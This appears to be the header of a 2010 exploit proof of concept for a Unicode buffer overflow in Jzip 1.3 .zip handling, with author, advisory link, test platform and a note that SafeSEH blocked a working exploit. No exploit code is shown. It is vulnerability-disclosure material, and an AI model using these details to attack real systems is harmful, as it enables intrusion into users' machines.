Jzip 1.3 Unicode Buffer Overflow

`<?php  
/*  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Jzip v1.3 (.zip) Unicode buffer overflow 0day PoC  
Date: 6/4/2010  
Author: mr_me (http://net-ninja.net/)  
Software Link: http://www.jzip.com/  
Version: 1.3  
Tested on: Windows XP SP3 En  
Advisory: http://www.corelan.be:8800/advisories.php?id=10-021  
Greetz to: Corelan Security Team  
http://www.corelan.be:8800/index.php/security/corelan-team-members/  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Note:   
jzip.exe and all associated modules are compiled with safeseh and combine that  
with the unicode limitation proves very difficult for exploitation. We did not   
find a working unicode address, otherwise this vulnerability would have been   
alot more fun! The seven moons were not aligned as Ben puts it :)
